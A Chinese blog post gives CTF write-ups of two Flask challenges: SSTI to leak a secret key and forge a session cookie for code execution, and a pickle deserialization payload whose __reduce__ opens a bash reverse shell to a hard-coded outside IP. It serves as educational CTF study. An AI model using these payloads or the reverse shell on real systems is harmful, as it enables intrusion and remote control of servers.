Buu-Web两个记录

知识点
  • Cookie伪造 - 秘钥获取
题解

打开题目环境,给出计算式子,返回计算结果,发现只能输入运算符和数字,输入字母就会报错,随便尝试的时候,输入 1/0会报错,这里我并没有多想 看了wp说,通过这个报错来获取信息

1/0#{{7*7}}

尝试抓包,发现有Session数据,尝试对Session进行解密,我不知道为什么jwt.io网站解密不出来,用脚本解密

在这里插入图片描述

发现了Session里面保存的是计算的历史记录

那么思路就来了 -> 我们直接输入字母会遭检测 -> 通过直接伪造Session来输入

-> 伪造Session需要秘钥(有些可能无秘钥的Session加密)

-> 之前那个报错点,如果会的话 就会直接利用报错来作为突破点寻找秘钥了

-> 1/0#{{config}} ===> 获取秘钥

在这里插入图片描述

通过脚本,依据秘钥,编写执行语句(注意格式)-> 这里的双引号转义的原因我也不知道

python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"ls\").read()'}]}"

得到编码之后的数据,F12在应用里面找到Cookie修改 刷新页面即可

在这里插入图片描述

python3 flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"cat flag.txt\").read()'}]}"

在这里插入图片描述

在这里插入图片描述

这里第一条命令我没加双引号,没成功运行,大概是混淆了 -t 的双引号吧

参考

wp

[HFCTF 2021 Final]easyflask

知识点
  • python反序列化
  • 伪造Session
题解

通过提示获取源码 url/file?file=

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User()) # 序列化函数
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict): #
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

审计python代码,/file/admin两个路由 => 伪造admin是目标,通过session存储身份信息 经过了pickle序列化和base加密

-> /file路由可以获取key

通过路由/file?file=/proc/self/environ 获取key

在这里插入图片描述

glzjin22948575858jfjfjufirijidjitg3uiiuuh

-> python序列化构造反弹shell -> 利用秘钥生成Session伪造admin -> 访问路由/admin反弹

#在Linux的python2环境下运行
import os
import base64
import pickle

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/114.55.129.236/4444 0>&1'",))
})

u = pickle.dumps(User())
print(base64.b64encode(u).decode())

在这里插入图片描述

访问/admin路由抓包,修改Session,提前监听端口,发包,成功反弹shell

在这里插入图片描述

参考

))


[外链图片转存中...(img-WaVMeS9G-1726552672555)]

访问`/admin`路由抓包,修改Session,提前监听端口,发包,成功反弹shell

[外链图片转存中...(img-68f0hQwL-1726552672555)]

#### 参考

https://blog.csdn.net/RABCDXB/article/details/120340573
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值